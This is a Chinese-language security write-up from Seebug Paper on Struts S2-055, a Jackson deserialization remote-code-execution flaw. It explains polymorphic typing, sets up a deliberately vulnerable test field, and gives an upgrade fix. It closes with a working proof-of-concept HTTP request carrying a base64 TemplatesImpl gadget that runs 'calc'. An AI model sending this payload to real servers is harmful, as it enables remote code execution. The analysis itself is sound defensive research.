作者:廖新喜
1 綜述
2017年12月1日,Apache Struts發布最新的安全公告,Apache Struts 2.5.x REST插件存在遠程代碼執行的中危漏洞,漏洞編號與CVE-2017-7525相關。漏洞的成因是由于使用的Jackson版本過低在進行JSON反序列化的時候沒有任何類型過濾導致遠程代碼執行。當然官方說的影響是未知,其實這里是遠程代碼執行。
相關鏈接如下:
https://cwiki.apache.org/confluence/display/WW/S2-055
影響版本:
Struts 2.5 - Struts 2.5.14
規避方案
立即升級到Struts 2.5.14.1或者升級com.fasterxml.jackson到2.9.2版本
2 技術分析
從官方的描述來看,這個就是Jackson的反序列化漏洞,由于Jackson在處理反序列的時候需要支持多態,所以在反序列的時候通過指定特定的類來達到實現多態的目的。這個特性默認是不開啟的,所以在Struts2中影響也是有限。
2.1 Jackson多態類型綁定
為了讓Jackson支持多態,Jackson官方提供了幾種方式,下面介紹兩種常用方式(https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization)
第一種:全局Default Typing機制,啟用代碼如下:
objectMapper.enableDefaultTyping(); // default to using DefaultTyping.OBJECT_AND_NON_CONCRETE
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
這是一個全局開關,打開之后,在持久化存儲數據時會存儲準確的類型信息。
第二種:為相應的class添加@JsonTypeInfo注解
public ObjectMapper enableDefaultTyping(DefaultTyping dti) {
return enableDefaultTyping(dti, JsonTypeInfo.As.WRAPPER_ARRAY);
}
通過閱讀源碼也能發現,全局Default Typing機制也是通過JsonTypeInfo來實現的。下面來看一個簡單的示例:
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.WRAPPER_ARRAY)
class Animal { } 在超類Animal上加上一段@JsonTypeInfo,所有Animal的子類反序列化都可以準確的對于子類型。
這段注解什么意思呢?JsonTypeInfo.Id.CLASS是指序列化或者反序列時都是全名稱,如org.codehaus.jackson.sample.Animal,JsonTypeInfo.As.WRAPPER_ARRAY 意為使用數組表示,如
[
"com.fasterxml.beans.EmployeeImpl",
{
... // actual instance data without any metadata properties
}
]
2.2 S2-055 環境搭建
了解了Jackson的相關多態的特性之后,為了觸發反序列化漏洞,必須開啟這個特性,再來看看Struts2的相關代碼。由于Jackson不是Struts2 json格式的默認處理句柄,首先修改struts.xml,添加如下代碼:
<bean type="org.apache.struts2.rest.handler.ContentTypeHandler" name="jackson" class="org.apache.struts2.rest.handler.JacksonLibHandler"/>
<constant name="struts.rest.handlerOverride.json" value="jackson"/>
這樣Content-Type為application/json格式的請求都交給了JcaksonLibHandler來處理,再來分析下JacksonLibHandler的代碼,如下所示:
public void toObject(Reader in, Object target) throws IOException {
mapper.configure(SerializationFeature.WRITE_NULL_MAP_VALUES, false);
ObjectReader or = mapper.readerForUpdating(target);
or.readValue(in);
}
上述代碼是處理json反序列的邏輯,很顯然沒有啟用全局Default Typing機制,那么為了觸發這個漏洞只能是通過第二種支持多態的方式來打開這個特性。這個漏洞和S2-052非常類似,都是引用的第三方庫存在缺陷導致的漏洞,這樣的案例數不勝數,在Java生態中簡直就是一個災難,第三方依賴實在太多。為了分析這個漏洞,我們還是拿052的環境來做測試,也就是rest-show-case,環境搭建可以參考《S2-052漏洞分析及官方緩解措施無效驗證》,具體的修改如下:
public class Order {
public String id;
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.WRAPPER_ARRAY)
public Object clientName;
public int amount;
public Order() {}
public Order(String id, Object clientName, int amount) {
super();
this.id = id;
this.clientName = clientName;
this.amount = amount;
}
public void setClientName(Object clientName) {
this.clientName = clientName;
}
修改部分主要在@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.WRAPPER_ARRAY) public Object clientName; 一個在clientName上方添加注解,打開支持多態的特性,這樣我們就能指定clientName的類型;另一個是將clientName的類型改為Object類型,這樣就避免了類型不匹配或者不是其子類的錯誤。相應地修改setClientName方法的傳入類型為Object。
2.3 PoC構造
Jackson已經暴露了很多種PoC在外,下面我們拿com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl來做示例,具體的PoC如下:
POST /orders HTTP/1.1
Host: 192.168.3.103:8080
Proxy-Connection: keep-alive
Content-Length: 2157
Cache-Control: max-age=0
Origin: http://192.168.3.103:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.3.103:8080/orders/new
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.6
Cookie: csrftoken=LYokAxo4ABMl0wKhLhkdl1x5I0AQQDE8E3L1zcc3A1YVybHMEHkOWq01VqdnfJEm; JSESSIONID=7367044F7C24B8BE7CDE5444E28E2BF4
{"clientName":["com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",{"transletBytecodes":["yv66vgAAADEANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1McGVyc29uL1Rlc3Q7AQAKRXhjZXB0aW9ucwcALAEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAF0BwAuAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwACAAJBwAvDAAwADEBAARjYWxjDAAyADMBAAtwZXJzb24vVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAsAAAAOAAMAAAAPAAQAEAANABEADAAAAAwAAQAAAA4ADQAOAAAADwAAAAQAAQAQAAEAEQASAAEACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAVAAwAAAAqAAQAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAFQAWAAIAAAABABcAGAADAAEAEQAZAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAaAAwAAAAgAAMAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAGgAbAAIADwAAAAQAAQAcAAkAHQAeAAIACgAAAEEAAgACAAAACbsABVm3AAZMsQAAAAIACwAAAAoAAgAAAB0ACAAeAAwAAAAWAAIAAAAJAB8AIAAAAAgAAQAhAA4AAQAPAAAABAABACIAAQAjAAAAAgAk"],"transletName":"a.b","outputProperties":{}}]}
首先將ContentType設置為application/json,這樣請求才會丟給Jackson處理。這里最核心的部分就是clientName字段了,必須和前面注解部分綁定,也就是這個字段必須有,很顯然,這個漏洞不具有通用性,首先得有一個Object類型的字段,其次這個字段還必須用注解JsonTypeInfo修飾。這種情況應該少之又少。下面給個計算器的圖吧。

本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/473/
暫無評論